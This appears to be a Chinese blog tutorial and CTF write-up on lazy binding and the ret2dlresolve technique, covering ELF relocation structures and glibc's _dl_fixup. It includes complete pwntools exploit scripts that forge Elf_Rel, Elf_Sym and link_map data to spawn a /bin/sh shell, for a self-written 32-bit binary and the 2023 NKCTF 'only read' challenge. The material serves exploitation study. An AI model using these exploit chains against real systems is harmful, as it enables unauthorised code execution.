延迟绑定与 ret2dlresolve 详解

ret2dlresolve 是栈溢出下的一种攻击方法,主要用于程序没有办法利用 puts 、printf、writer 函数等泄露程序内存信息的情况。

延迟绑定

在 Linux 中,为了程序运行的效率与性能,在没有开启 FULL RELRO 时候,程序在第一次执行函数时,会先执行一次动态链接,将对应函数的 got 表填上 libc 中的函数地址。在这个过程中,程序使用 _dl_runtime_resolve(link_map_obj, realoc_index) 来对动态链接的函数进行重定位。
以 32 位程序为例,如图

可以看到 read@plt 是会利用 jmp 指令跳转到 read@got 执行,这里如果是 read 函数是第一次执行的时候,read@got 是指向了 read@plt 的第二条指令也就是 “ jmp read@got ” 的下一条指令,所以又跳转回到了 read@plt + 6 继续执行,会接着压入 0x20( reloc_offset 参数),然后跳转到 PLT0(也就是公共表项),会先压入一个值,也就是 link_map_obj 参数,然后进入 _dl_runtime_resolve 函数执行,执行完成后 read@got->read@libc ,之后再次执行 read@plt ,那么执行 "jmp read@got" 就会执行 read@libc,也就不需要再次绑定了。
其中 link_map_obj 参数的作用是为了能够定位 .dynamic 段,而定位了 .dynamic 段就能接着定位(根据偏移)到 .dynstr 段、.dynsym 段、.rel.plt 段,该参数是 PLT0 默认提供的,程序中所有函数在动态链接过程中的该参数都是相同的;
而 reloc_offset 是对应函数的 plt 提供的,起到定位对应函数的 ELF_Rel 结构体的作用。

通过上图我们可以看到 plt 中的各个函数的 push 的值都是不同的,也就是说 reloc_index 的值是不同的。从图中可以看到,plt 段开头就是 PLT0。
接下来我们介绍下 .dynstr 段、.dynsym 段、.rel.plt 段。
通过以下命令可以找出各个段的地址
objdump -s -j .dynsym pwn

.dynstr 段:存放了各个函数的名称字符串。

.dynsym 段:由 Elf_Sym 结构体集合而成

其中的 Elf_Sym 结构体如代码
typedef struct {
    ELF32_Word st_name;
    ELF32_Addr st_value;
    ELF32_Word st_size;
    unsigned char st_info;
    unsigned char st_other;
    Elf32_Section st_shndx;
} Elf32_Sym;

其中 st_name 域是相对于 .dynstr 段的偏移,来确定函数名称字符串在 .dynstr 段的地址;st_value 域是当前符合被导出时存放虚拟地址的。

.rel.plt 段:由 Elf_Rel 结构体集合而成

其中的 Elf_Rel 结构体如代码
typedef struct {
    ELF32_Addr r_offset;
    ELF32_Addr r_info;
} Elf32_Rel;

r_offset 域用于保存解析后的符号地址写入内存的位置, r_info 域的值在 右移 8 位之后的值用于标识该符号在 .dynsym 段中的位置,也就是确定该函数的 Elf_Sym 结构体地址。其中的 r_offset 域也就是 GOT 表,当解析完成后,GOT 表中对应的函数地址也就被写上了对应函数的 libc 地址。

其中,这几个段的关系是这样的。
通过 link_map_obj 参数定位 .dynamic 段,再根据偏移定位到 .dynstr 段、.dynsym 段、.rel.plt 段后,再通过 reloc_offset + .rel.plt 确定了 .rel.plt 段中对应函数的 Elf.Rel 结构体后,就能确定其中的 r_offset 也就是对应函数的 GOT 表地址,还有 r_info,根据 (r_info >> 8) + .dynsym 确定对应函数在 .dynsym 段中的 Elf_Sym 结构体,那么我们又获得了 st_name ,根据 st_name + .dynstr 来确定对应函数的名称字符串地址,最后,根据获得的函数名字符串来在 libc 中寻找对应函数的 libc 地址,再返回写在 got 表上。
_dl_runtime_resolve 函数实际上就只是调用了 _dl_fixup 函数,其函数代码大致如下
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
    assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);    
}
关系图如下:

 漏洞利用

这里我们先通过栈迁移的方法模拟的虚假的 puts 函数初次动态链接的实现,并达到 puts("Hacker!") 的效果
这里自己简单写了一个具有栈溢出漏洞的程序
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(){
    char buf[0x10];
    puts("> ");
    read(0, buf, 0x30);
}
void init(){
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    setbuf(stdin, 0);
}
int main()
{
    init();
    vuln();
    return 0;
}
编译命令
gcc -fno-stack-protector -z relro -no-pie -fno-pie 1.c -m32 -o pwn

这样,我们就得到一个简单的栈溢出漏洞程序,我们现在利用这个程序来实现 ret2dlresolve

首先,我们尝试通过栈迁移的方法来模拟实现 puts 函数动态链接的过程,并打印 Hacker!

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
payload = b'a'*4 + p32(PLT0) + p32(0x18) + p32(0) + p32(buf + 0x14) + b'Hacker!'
s(payload)

pause()

exp 如代码,在这个代码中,我们先进行了栈迁移,之后模拟已经将 0x18 (puts 函数的 realoc_index 参数)已经压入栈,接着执行 PLT0,压入 link_map_obj 参数,然后执行 _dl_runtime_resolve 函数,之后解析完成那么就能够接着执行 puts("Hacker!") 打印出 Hacker!

第二步我们自己伪造 Elf_Rel 结构体来实现这一效果。首先要控制好 realoc_index 参数,使函数的 Elf_Rel 结构体落在 bss 上

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(0x407)

payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x1c) + fake_Elf_Rel + b'Hacker!'
s(payload)

pr()
#pause()
其中, realoc_index 的值是根据 Elf_Rel 结构体与 .rel.plt 段的差得到的,而 0x407 也就是 r_info 的值是用来寻找 Elf_Sym 结构体的,所以这里就没必要更改

从 IDA 反汇编后的 Elf_Rel 结构体中可以看出,puts 函数对应的 r_info 的值是 0x407

接着继续伪造 Elf_Sym 结构体,那么这里我们就需要修改 r_info 的值了,其中, r_info 的值是由 r_sym 和 r_type 计算得出,r_sym 是对应函数的 Elf_Sym 结构体相对于 .dynsym 段的偏移,r_type 照抄取为 7(_dl_fixup 函数中会检测 r_info 的低位是否为 7,这里一般默认为 7)

那么
r_sym = (buf + xx - .dynsym)/0x10
r_info = (r_sym << 8) + r_type(7)

同样的,这里的 fake_Elf_Sym 结构体里面的值先照抄原本的 Elf_Sym 结构体的值,所以

fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2
fake_Elf_Sym = p32(puts_str_addr - dynstr)+ p32(0)*2 + p32(0x12)+ p32(0)*2

exp

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
dynsym = 0x804821c
dynstr = 0x80482BC

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10
r_type = 7
r_info = (int(r_sym) << 8) + r_type
puts_str_addr = 0x80482F3

fake_Elf_Sym = p32(puts_str_addr - dynstr) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x34)
payload +=  fake_Elf_Rel # buf + 0x14
payload += fake_Elf_Sym # buf + 0x1c
payload += b"Hacker!" #buf+0x34

s(payload)

pr()
#pause()

接下来继续伪造 .dynstr 段上的字符串,这个改动比较简单,伪造一个 fake_st_name 即可

fake_st_name = bus + xx - .dynstr

exp

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
dynsym = 0x804821c
dynstr = 0x80482BC

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
# set fake_st_name
fake_st_name = buf + 0x34 - dynstr

# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10
r_type = 7
r_info = (int(r_sym) << 8) + r_type
puts_str_addr = 0x80482F3
fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c)
payload +=  fake_Elf_Rel # buf + 0x14
payload += fake_Elf_Sym # buf + 0x1c
payload += b"puts" + p32(0) #buf+0x34
payload += b"Hacker!"
s(payload)

pr()
#pause()

由于解析是根据函数名字符串来寻找的,所以我们接下来只需要修改 puts -> system、Hacker! -> /bin/sh 即可 get shell

完整 exp
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rbp, rip, gadget) : return p64(gadget) + p64(0) + p64(rbp) + p64(rdi) + p64(rsi) + p64(rdx) + p64(rip) + p64(gadget - 0x1a)

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('1.14.71.254', 28966)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

leave = 0x08049105
ret = 0x08049009
PLT0 = 0x8049030
buf = elf.bss() + 0x800

rel_plt = 0x8048398 #objdump -s -j .rel.plt pwn
dynsym = 0x804821c
dynstr = 0x80482BC

#gdb.attach(p, 'b *0x80491C1')

sa(b'> \n', b'a'*0x18 + p32(buf) + p32(elf.sym['read']) + p32(leave) + p32(0) + p32(buf) + p32(0x100))

sleep(3)
# set fake_st_name
fake_st_name = buf + 0x34 - dynstr

# set fake_Elf_Sym
r_sym = (buf + 0x1c - dynsym) / 0x10
r_type = 7
r_info = (int(r_sym) << 8) + r_type
puts_str_addr = 0x80482F3
fake_Elf_Sym = p32(fake_st_name) + p32(0)*2 + p32(0x12) + p32(0)*2

# set fake_Elf_Rel
realoc_index = buf + 0x14 - rel_plt
fake_Elf_Rel = p32(elf.got['puts']) + p32(r_info)


payload = b'a'*4 + p32(PLT0) + p32(realoc_index) + p32(0) + p32(buf + 0x3c)
payload +=  fake_Elf_Rel # buf + 0x14
payload += fake_Elf_Sym # buf + 0x1c
payload += b"system" + p16(0) #buf+0x34
payload += b"/bin/sh\x00"
s(payload)

inter()
#pause()

x64

x64 下的题目我们以 2023-nkctf 的 only read 题目举例

程序开始经过四个 base64 加密验证之后,进入 next 函数

存在一个栈溢出,本题目没有 write、printf、puts 一类的函数来泄露程序内存,对于这种情况我们可以用 ret2dlresolve 的做法。
不过,在 64 位下,部分数据结构有了变动
这是 64 位下的 Elf_Sym 结构体
typedef struct{  
    Elf64_Word st_name;    /* Symbol name (string tbl index) */  
    unsigned char st_info;    /* Symbol type and binding */  
    unsigned char st_other; /* Symbol visibility */  
    Elf64_Section st_shndx; /* Section index */  
    Elf64_Addr st_value; /* Symbol value */  
    Elf64_Xword    st_size; /* Symbol size */
}Elf64_Sym;

这是64 位下的 Elf_Rel 结构体,增加了 r_addend

typedef struct{  
    Elf64_Addr r_offset;        /* Address */  
    Elf64_Xword    r_info;            /* Relocation type and symbol index */  
    Elf64_Sxword r_addend;        /* Addend */
}Elf64_Rela;

并且,如果是直接像 32 位的做法直接伪造 realoc_index,那么会因为 _dl_fixup 函数执行时候访问到错误的内存地址而奔溃

具体可看代码注释
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;

  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7

   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
      const struct r_found_version *version = NULL;
         // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段
          // 就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段
          // 第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。
          // 第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
          const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }

      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
        {
          THREAD_GSCOPE_SET_FLAG ();
          flags |= DL_LOOKUP_GSCOPE_LOCK;
        }

      RTLD_ENABLE_FOREIGN_CALL;
    // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();

      RTLD_FINALIZE_FOREIGN_CALL;

      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    { 
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value
      // 我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }

  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);

  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
//来自 https://blog.csdn.net/qq_51868336/article/details/114644569
总结地说,我们需要
  1. st_other != 0
  2. l -> l_addr = system_libc - a_libc;sym -> st_value = a_got (其中,a 函数是已经被解析过的一个函数)
那么最后得到的就是 l->l_addr + sym->st_value = system_libc - a_libc + a_got = system_libc_real,因此,这种攻击方法需要我们同时伪造 Elf_Sym 和 link_map
对于 link_map 结构体
//0x68  strtab
//0x70  symtab
//0xf8   relplt
struct link_map {
    Elf64_Addr l_addr;
    char *l_name;
    Elf64_Dyn *l_ld;
    struct link_map *l_next;
    struct link_map *l_prev;
    struct link_map *l_real;
    Lmid_t l_ns;
    struct libname_list *l_libname;
    Elf64_Dyn *l_info[76];
    const Elf64_Phdr *l_phdr;
    Elf64_Addr l_entry;
    Elf64_Half l_phnum;
    Elf64_Half l_ldnum;
    struct r_scope_elem l_searchlist;
    struct r_scope_elem l_symbolic_searchlist;
    struct link_map *l_loader;
    struct r_found_version *l_versions;
    unsigned int l_nversions;
    Elf_Symndx l_nbuckets;
    Elf32_Word l_gnu_bitmask_idxbits;
    Elf32_Word l_gnu_shift;
    const Elf64_Addr *l_gnu_bitmask;
    union {
        const Elf32_Word *l_gnu_buckets;
        const Elf_Symndx *l_chain;
    };
    union {
        const Elf32_Word *l_gnu_chain_zero;
        const Elf_Symndx *l_buckets;
    };
    unsigned int l_direct_opencount;
    enum {lt_executable, lt_library, lt_loaded} l_type : 2;
    unsigned int l_relocated : 1;
    unsigned int l_init_called : 1;
    unsigned int l_global : 1;
    unsigned int l_reserved : 2;
    unsigned int l_phdr_allocated : 1;
    unsigned int l_soname_added : 1;
    unsigned int l_faked : 1;
    unsigned int l_need_tls_init : 1;
    unsigned int l_auditing : 1;
    unsigned int l_audit_any_plt : 1;
    unsigned int l_removed : 1;
    unsigned int l_contiguous : 1;
    unsigned int l_symbolic_in_local_scope : 1;
    unsigned int l_free_initfini : 1;
    struct r_search_path_struct l_rpath_dirs;
    struct reloc_result *l_reloc_result;
    Elf64_Versym *l_versyms;
    const char *l_origin;
    Elf64_Addr l_map_start;
    Elf64_Addr l_map_end;
    Elf64_Addr l_text_end;
    struct r_scope_elem *l_scope_mem[4];
    size_t l_scope_max;
    struct r_scope_elem **l_scope;
    struct r_scope_elem *l_local_scope[2];
    struct r_file_id l_file_id;
    struct r_search_path_struct l_runpath_dirs;
    struct link_map **l_initfini;
    struct link_map_reldeps *l_reldeps;
    unsigned int l_reldepsmax;
    unsigned int l_used;
    Elf64_Word l_feature_1;
    Elf64_Word l_flags_1;
    Elf64_Word l_flags;
    int l_idx;
    struct link_map_machine l_mach;
    struct {
        const Elf64_Sym *sym;
        int type_class;
        struct link_map *value;
        const Elf64_Sym *ret;
    } l_lookup_cache;
    void *l_tls_initimage;
    size_t l_tls_initimage_size;
    size_t l_tls_blocksize;
    size_t l_tls_align;
    size_t l_tls_firstbyte_offset;
    ptrdiff_t l_tls_offset;
    size_t l_tls_modid;
    size_t l_tls_dtor_count;
    Elf64_Addr l_relro_addr;              
    size_t l_relro_size;
    unsigned long long l_serial;
    struct auditstate l_audit[];
};

根据 _dl_fixup 函数的代码,我们可以知道 .rel.plt 、.dynsym、.dynstr 段的地址都是从 l -> l_info[] 中取的,所以 l -> l_info 又对应了 .dynamic 段,这里我们可以在 IDA 看到 .dynamic 段的内容

红框从上到下分别对应 .dynstr 、.dynsym、.rel.plt 段,也就说
.dynstr 指针:位于 .dynamic +0x88 (32位下是0x44)
.dynsym 指针:位于 .dynamic + 0x98 (32位下是0x4c)
.rel.plt 指针:位于 .dynamic +0x108 (32位下是0x84)
这里我们通过 gdb 调试看下

可以根据对应偏移找到各个段的地址

这里再回答下 .dynamic 段和 link_map 中的 l_info 的关系

根据上面两张图我们可以知道
DT_STRTAB指针:位于 link_map_addr +0x68(32位下是0x34)
DT_SYMTAB指针:位于 link_map_addr + 0x70(32位下是0x38)
DT_JMPREL指针:位于 link_map_addr +0xF8(32位下是0x7C)
我们就知道_dl_fixup 函数中为什么是根据 l_info 来取 .dynstr 、.dynsym、.rel.plt 段的地址了
这样,我们就完全理解了之前提到的为什么 link_map_obj 能够定位到 .dynmic 段,而 .dynmic 段又能够定位到 .dynstr 、 .dynsym、.rel.plt 段。
继续接下来的攻击准备,我们需要修改 link_map 中的 l_addr 为 system_libc - a_libc 的值, l_info 中的 DT_STRTAB指针、DT_SYMTAB指针、DT_JMPREL指针来伪造 .dynstr 、 .dynsym、.rel.plt 段。并且在 fake_Elf_Sym 结构体中的 st_value 为一个已经解析过的( a )函数的 got 表地址。
这里我们只需要修改 fake_Elf_Sym 为 a 函数的 got 表地址 - 0x8,那么顺带着 sym -> st_other != 0 的条件也会满足。
由于 link_map 结构体比较大,因此我们也将 fake_Elf_Sym 结构体和 "/bin/sh\x00" 也写进去
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x90)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap
最终exp
from pwn import *
from struct import pack
from ctypes import *
from LibcSearcher import *
import base64

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('spdc-1.play.hfsc.tf', 40003)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

sleep(0.1)
s("V2VsY29tZSB0byBOS0NURiE=")
sleep(0.1)
s("dGVsbCB5b3UgYSBzZWNyZXQ6")
sleep(0.1)
s("SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45")
sleep(0.1)
s("Y2FuIHlvdSBmaW5kIG1lPw==")
sleep(0.1)

rdi = 0x401683
rsi_r15 = 0x401681
rbp = 0x40117d
leave = 0x4013c2
ret = 0x40101a
PLT1 = 0x401026
buf = elf.bss() + 0x400

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr

    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可 
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行

    linkmap += p64(0)#l_ns

    # fake_linkmap_addr + 0x38, DT_SYMTAB 
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68, b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8, b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

#gdb.attach(p, 'b *0x4013E8')

s(b'a'*0x30 + p64(buf) + p64(rsi_r15) + p64(buf)*2 + p64(elf.sym['read']) + p64(rdi) + p64(buf + 0x48) + p64(ret) + p64(PLT1) + p64(buf) + p64(0))
sleep(2)
fake_link_map = fake_Linkmap_payload(buf, elf.got['setbuf'], libc.sym['system'] - libc.sym['setbuf'])
s(fake_link_map)

inter()
#pause()

参考:https://blog.csdn.net/qq_51868336/article/details/114644569 CTF 竞赛权威指南

posted @ 2023-04-19 22:59  xshhc  阅读(467)  评论(0编辑  收藏  举报